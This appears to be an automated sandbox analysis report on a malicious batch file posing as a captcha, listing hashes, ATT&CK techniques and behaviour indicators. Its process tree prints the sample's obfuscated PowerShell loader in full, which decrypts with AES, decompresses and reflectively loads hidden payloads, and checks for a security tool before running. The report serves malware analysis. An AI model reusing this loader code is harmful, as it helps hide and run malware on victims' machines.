5d5b4f259ef3b3d20f6ef1a63def6dee9326efe2b7b7b7e474008aa978f1f19b

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-de
resource tags

arch:x64arch:x86image:win7-20240708-delocale:de-deos:windows7-x64systemwindows
submitted
29/09/2024, 08:06

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General

Target

Captcha_V4ID882994ft.bat
Size

441KB
MD5

5744e74d67f4cc91f262ddb95ac245a3
SHA1

890799de73d375478d3a5f0e2b86cec6a0585a91
SHA256

e726d3324ca8b9a8da4d317c5d749dd0ad58fd447a2eb5eee75ef14824339cd5
SHA512

9e30407dce840bb0c36b440b345572ba93bf7f9d2180b98255c371b2fc5d4289a27b74a9436148ff5448beb5f4d2160958625378122bad1920856b9da7807ea3
SSDEEP

12288:tAyShKVnHj+CoqBG+OlBn/ZGkQdLDLP4yLu:tnJh+cOn+LDLP5i

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1036	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1036	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1036	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 2392	2304	cmd.exe	31
PID 2304 wrote to memory of 2392	2304	cmd.exe	31
PID 2304 wrote to memory of 2392	2304	cmd.exe	31
PID 2304 wrote to memory of 1036	2304	cmd.exe	32
PID 2304 wrote to memory of 1036	2304	cmd.exe	32
PID 2304 wrote to memory of 1036	2304	cmd.exe	32
PID 2304 wrote to memory of 1036	2304	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Captcha_V4ID882994ft.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Captcha_V4ID882994ft.bat';$KKOH='GcdBHetcdBHCcdBHurcdBHrecdBHntcdBHPcdBHrcdBHocecdBHscdBHs'.Replace('cdBH', ''),'TrbvJsanbvJssfbvJsorbvJsmFibvJsnabvJslBbvJslobvJsckbvJs'.Replace('bvJs', ''),'MaiJRdinMiJRdodiJRduiJRdle'.Replace('iJRd', ''),'EpyvRlepyvRmepyvRntpyvRAt'.Replace('pyvR', ''),'EnAikltAiklryPAikloAikliAiklnt'.Replace('Aikl', ''),'ReaUbTzdLUbTzinUbTzes'.Replace('UbTz', ''),'ChRklaanRklageRklaExRklateRklanRklasiRklaon'.Replace('Rkla', ''),'LoucGWaducGW'.Replace('ucGW', ''),'CYNdvreYNdvaYNdvtYNdveDeYNdvcYNdvrYNdvypYNdvtoYNdvrYNdv'.Replace('YNdv', ''),'CoYevgpyYevgToYevg'.Replace('Yevg', ''),'InoGKEvooGKEkeoGKE'.Replace('oGKE', ''),'FWztZromWztZBWztZasWztZeWztZ6WztZ4WztZStrWztZinWztZg'.Replace('WztZ', ''),'SIszbplIszbiIszbtIszb'.Replace('Iszb', ''),'DeAYONcomAYONprAYONessAYON'.Replace('AYON', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($KKOH[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function rUbtz($WsNJE){$aFysz=[System.Security.Cryptography.Aes]::Create();$aFysz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$aFysz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$aFysz.Key=[System.Convert]::($KKOH[11])('SiNWeP/fk7RgqOL4+MYNGAilPoSRNS1a+HTyg2gC1Lk=');$aFysz.IV=[System.Convert]::($KKOH[11])('yZOGdg/vBGiLeun/JpgA4Q==');$FQbge=$aFysz.($KKOH[8])();$auohI=$FQbge.($KKOH[1])($WsNJE,0,$WsNJE.Length);$FQbge.Dispose();$aFysz.Dispose();$auohI;}function LYeXU($WsNJE){$PsBXz=New-Object System.IO.MemoryStream(,$WsNJE);$qJWpS=New-Object System.IO.MemoryStream;$KUcRl=New-Object System.IO.Compression.GZipStream($PsBXz,[IO.Compression.CompressionMode]::($KKOH[13]));$KUcRl.($KKOH[9])($qJWpS);$KUcRl.Dispose();$PsBXz.Dispose();$qJWpS.Dispose();$qJWpS.ToArray();}$cnXBi=[System.IO.File]::($KKOH[5])([Console]::Title);$gbxFr=LYeXU (rUbtz ([Convert]::($KKOH[11])([System.Linq.Enumerable]::($KKOH[3])($cnXBi, 5).Substring(2))));$hwaTP=LYeXU (rUbtz ([Convert]::($KKOH[11])([System.Linq.Enumerable]::($KKOH[3])($cnXBi, 6).Substring(2))));[System.Reflection.Assembly]::($KKOH[7])([byte[]]$hwaTP).($KKOH[4]).($KKOH[10])($null,$null);[System.Reflection.Assembly]::($KKOH[7])([byte[]]$gbxFr).($KKOH[4]).($KKOH[10])($null,$null); "
  2⤵
  PID:2392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1036-2-0x0000000074841000-0x0000000074842000-memory.dmp

Filesize
4KB

Download
memory/1036-3-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download
memory/1036-4-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download
memory/1036-5-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download
memory/1036-6-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download
memory/1036-7-0x0000000074840000-0x0000000074DEB000-memory.dmp

Filesize
5.7MB

Download